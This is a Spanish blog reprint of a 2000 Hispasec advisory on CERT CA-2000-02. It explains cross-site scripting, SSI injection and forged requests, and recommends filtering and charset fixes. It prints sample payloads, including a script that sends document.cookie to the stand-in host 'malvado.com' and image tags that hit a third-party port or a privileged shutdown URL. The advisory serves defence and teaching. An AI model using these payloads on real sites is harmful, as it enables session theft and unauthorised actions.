		*Últimos Cambios*
	Blog personal: El hilo del laberinto

Páginas dinámicas y usuarios maliciosos

Última Actualización: 23 de Marzo de 2.000 - Jueves

Artículo publicado en el boletín Una-Al-Día de Hispasec, el 13 de Marzo de 2.000.

El CERT publica un informe en el que se señalan los riesgos de la generación dinámica de páginas con contenido bajo el control del usuario. Aunque estos problemas son conocidos desde "siempre", existen multitud de servidores y servicios vulnerables.

La inclusión de código HTML o "scripts" javascript en formularios y foros de discusión es un hecho conocido y explotado desde siempre. Se utiliza habitualmente, de forma inocua, para poder introducir caracteres en itálica o negrita, o para introducir imágenes. No obstante, la misma idea puede ser utilizada para atacar tanto a otro usuario como al propio servidor.

Ataques al servidor
Aunque es poco habitual, es posible que la generación dinámica de una página se emplee para alimentar otro generador dinámico, lo que puede ocasionar problemas, por ejemplo, si un usuario utiliza directivas SSI (Server Side Include) de forma maliciosa. Si la programación del sistema no es cuidadosa, es posible ejecutar código arbitrario en el servidor.
Ataques de un usuario a otro
Con los numerosos fallos de seguridad que se encuentran cada día en los servidores web, es trivial introducir código que mate un navegador o cuelgue una máquina. Todos los usuarios con navegador vulnerable que accedan a la página con el código malicioso sufrirán el ataque.
Lo más interesante de este ataque es que es desencadenado por el propio usuario, por un lado, y que el código malicioso está albergado en un servidor en el que el usuario confía (por ejemplo, un servicio de noticias o foros de discusión).
También se puede utilizar a un usuario inocente para atacar a una tercera entidad. Por ejemplo, un enlace como:
<img src="http://www.ejemplo.com:23/">
en un sitio popular, puede provocar miles de ataques al servidor indicado (un ataque "real" supondría la utiilización de JavaScript o similar para que cada atacante realizase un ataque inteligente e informase del resultado al atacante original).
Ataques de un cliente a sí mismo
Este ataque se desencadena, típicamente, cuando un usuario sigue un enlace que le proporciona un atacante. Por ejemplo:
<a href="http://www.ejemplo.com/comentario.cgi?HispaSec es Genial">
Pulse aquí para ver lo que "ejemplo.com" dice de HispaSec
</a>
Otra posibilidad sería injectar en un sitio "confiable" en el que se nos identifique por "cookie", código como:
http://www.ejemplo.com/cgi-bin/test-cgi?a=<script>sfcretc.src=
"http://malvado.com/"+escape(document.cookie)</script>
Cuando un usuario sigue ese enlace, estará haciendo una petición a "malvado.com" con una URl que refleja sus cookies para "www.ejemplo.com". Las cookies, por consiguiente, estarán disponibles en los logs de acceso de "malvado.com"
Utilizar a un usuario inocente para subvertir la seguridad ajena
Un atacante puede conseguir que un usuario inocente, con determinados privilegios en una red, ejecute órdenes invocando esos privilegios.
Por ejemplo:
<img src="http://www.ejemplo.com/privil/apagar">
Si el administrador de este hipotético servidor accede a una página con una URL como la anterior, podría perder su propio servicio. El atacante no puede ejecutar el programa "apagar", pero el administrador, autentificado con su IP, sí podría.

En general, esta vulnerabilidad permite que un atacante ejecute código (java o scripts) en la máquina del usuario con los privilegios del servidor que envía la información lo que puede, entre otras cosas, hacer que el navegador del usuario realice acciones sensibles. Este ataque, además, es perfectamente desplegable a través de SSL, ya que los datos maliciosos los envía un servidor "confiable".

Una variedad interesante del ataque es aquel que aprovecha el hecho de que, en muchas ocasiones, los servidores web muestran una página por defecto cuando se introduce una URL inexistente. Si dicha página se genera de forma dinámica, es posible inyectar contenidos espúreos dentro suya.

Este tipo de ataques es posible también a través de correo electrónico y news, si se visualizan mensajes HTML.

Solución:

Inhabilitar la ejecución de Java y JavaScript en los navegadores ayuda, aunque no soluciona todos los problemas.
Los programadores de páginas dinámicas deben filtrar convenientemente todos los datos bajo control del usuario. Ello inlcuye no solo la URL, sino también cookies, "referer", etc.
Todas las páginas generadas deben especificar un "charset" de forma explícita, de forma que se pueda reconocer claramente los caracteres especiales (recordemos, por ejemplo, que Unicode utiliza códigos de 16 bits que son alias de "<"). Una posibilidad es codificar al principio de cada página:
<META http-equiv="Content-Type"
content="text/html; charset=ISO-8859-1">
Filtrar adecuadamente los caracteres especiales: "<", ">", "&", "%", comillas, etc. Hay que tener en cuenta que en numerosas ocasiones los caracteres especiales dependen del contexto. Es preferible tener una lista de caracteres seguros, más que una lista de lo que no se debe aceptar. El problema se agrava porque muchos navegadores son relajados a la hora de interpretar documentos HTML, dado que en muchas ocasiones se codifican a mano y suelen contener errores.

Más Información:

CERT Advisory CA-2000-02
Malicious HTML Tags Embedded in Client Web Requests

K-021: Malicious HTML Tags Vulnerability

Understanding Malicious Content Mitigation for Web Developers

Frequently Asked Questions About Malicious Web Scripts Redirected by Web Sites

Cross Site Scripting Info

Cross Site Scripting Info: Encoding Examples

Parche para Apache 1.3.11

Web Application Developer Security Advisory

Cross Web Site Scripting Vulnerability

Information on Cross-Site Scripting Security Vulnerability

Quick Start: What Customers Can Do to Protect Themselves from Cross-Site Scripting